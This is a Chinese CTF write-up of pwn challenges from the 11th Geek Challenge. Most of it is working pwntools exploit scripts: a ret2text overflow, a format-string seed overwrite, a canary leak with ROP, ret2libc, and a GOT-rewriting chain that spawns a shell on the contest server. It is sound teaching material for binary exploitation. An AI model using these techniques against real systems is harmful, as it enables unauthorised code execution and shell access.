第11届极客大挑战-Pwn WriteUp

2020-10-24
#ctf #pwn

数学咋样?

也就20道加法,手算也可以(bushi。

还是用python写个脚本吧。。

from pwn import *
import re
sh = remote("81.69.0.47",1111)
sum=0
while True:
    try:
        a=sh.recvline(keepends=False).decode()
        findings=re.findall(r"!\[.*\]  num_1 = ([0-9]+), num_2 = ([0-9]+)",a)
        if len(findings)!=0:
            sum=int(findings[0][0])+int(findings[0][1])
        print(a)
        if a=="I can't calculate the expression 'num_1 + num_2'.":
            sh.recvuntil("input your answer:")
            sh.sendline(str(sum))
    except EOFError:
        sh.close()

runcode

有点不太明白出题的意图,直接文件读取就行了。

#include<stdio.h>
int main() {
    FILE *f=fopen("/home/ctf/flag","r");
    char buf[255];
    fgets(buf,255,f);
    printf("%s",buf);
    return 0;
}

liuzhuang-secret

文件: pwn00

非常简单的ret2text,找到溢出点和后门地址。

liuzhuang-secret

from pwn import *

sh = remote("81.69.0.47",1000)
# sh=process("./pwn00")

payload=flat('a'*120,p64(0x40079B))
sh.sendafter("Do you want to play with me?\n",payload)
sh.interactive()

fmt

文件: fmt

格式化字符串漏洞,用任意地址写,直接修改seed,用C把随机数算出来。

#include<stdlib.h>
#include<stdio.h>
int main(){
    srand(0);
    for(int i=0;i<16;i++)
        printf("%d\n",rand());
    return 0;
}
from pwn import *

sh = remote("81.69.0.47",2222)
# sh=process("./fmt")

payload=flat('%9$n','a'*4,p64(0x40409C))
sh.sendafter("hello world!\n",payload)
sh.sendline("1804289383")
sh.sendline("846930886")
sh.sendline("1681692777")
sh.sendline("1714636915")
sh.sendline("1957747793")
sh.sendline("424238335")
sh.sendline("719885386")
sh.sendline("1649760492")
sh.sendline("596516649")
sh.sendline("1189641421")
sh.sendline("1025202362")
sh.sendline("1350490027")
sh.sendline("783368690")
sh.sendline("1102520059")
sh.sendline("2044897763")
sh.sendline("1967513926")
sh.interactive()

baby_canary

文件: baby_canary

有canary保护,但可以泄露。两次read,第一次泄露canary,第二次栈溢出ROP。

执行system前,先要将参数设置好。用ROPgadget查找可以修改rdi的片段。

Gadgets information
============================================================
0x000000000040086c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040086e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400870 : pop r14 ; pop r15 ; ret
0x0000000000400872 : pop r15 ; ret
0x000000000040086b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040086f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400668 : pop rbp ; ret
0x0000000000400873 : pop rdi ; ret
0x0000000000400871 : pop rsi ; pop r15 ; ret
0x000000000040086d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : ret

Unique gadgets found: 11
from pwn import *

sh = remote("81.69.0.47",3333)
# sh=process("./baby_canary")

payload1=flat('a'*105)
sh.sendafter("may be you know it,plz tell me.\n",payload1)
sh.recv(numb=105)
canary=sh.recv(numb=7)
payload2=flat('a'*104,'\0',canary,'\0'*8,
    p64(0x400873),p64(0x4008ED), #修改 rdi
    p64(0x4007F7))
sh.sendline(payload2)
sh.interactive()

pwn111

文件: pwn111.zip

这题就需要ret2libc了。先泄露一个函数的got表地址,用给的libc文件,计算出其它需要的函数的地址。

from pwn import *

sh = remote("81.69.0.47",1122)
# sh=process("./pwn111")
elff = ELF('./pwn111')
elflibc = ELF('./libc')

payload1=flat('a'*136,
    p64(0x401231),p64(elff.got['write']),p64(0),#rsi,r15
    p64(0x401233),p64(1),#rdi
    p64(elff.plt['write']),#0x401030
    p64(elff.symbols['_start']))
sh.sendafter("please input: ",payload1)

write_addr=u64(sh.recv(numb=8))
sh_addr=write_addr-elflibc.symbols['write']+0x18CE17
system_addr=write_addr-elflibc.symbols['write']+elflibc.symbols['system']

payload2=flat('a'*136,
    p64(0x401233),p64(sh_addr),#rdi
    p64(system_addr))
sh.sendafter("please input: ",payload2)
sh.interactive()

pwn222

文件: pwn222

逻辑很简单,相比上一题,这题没有了输出函数。

pwn222_0

找到了这一片段,可以用来修改GOT表

0x000000000040112c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret

思路:

  1. 把GOT表中read改成write

  2. write输出write地址

  3. write改回read

  4. 回到_start重新运行

  5. 返回到计算出的system函数地址

exp如下:

from pwn import *

sh = remote("81.69.0.47",2212)
# sh=process("./pwn222")
elff = ELF('./pwn222')
elflibc = ELF('./libc')

payload1=flat('a'*40,
    p64(0x40122A),p64(0x60),p64(elff.got['read']+0x3d),p64(0),p64(0),p64(0),p64(0),#rbx,rbp,r12,r13,r14,r15
    p64(0x40112c),#add

    p64(0x401231),p64(elff.got['read']),p64(0),#rsi,r15
    p64(0x401233),p64(0),#edi
    p64(elff.plt['read']),

    p64(0x40122A),p64(0xFFFFFFFFFFFFFFA0),p64(elff.got['read']+0x3d),p64(0),p64(0),p64(0),p64(0),#rbx,rbp,r12,r13,r14,r15
    p64(0x40112c),#add

    p64(elff.symbols['_start'])
)
sh.sendline(payload1)

write_addr=u64(sh.recv(8))
sh.recv(timeout =1)
sh_addr=write_addr-elflibc.symbols['write']+0x18CE17
system_addr=write_addr-elflibc.symbols['write']+elflibc.symbols['system']

payload2=flat('a'*40,
    p64(0x401233),p64(sh_addr),#rdi
    p64(system_addr))
sh.sendline(payload2)
sh.interactive()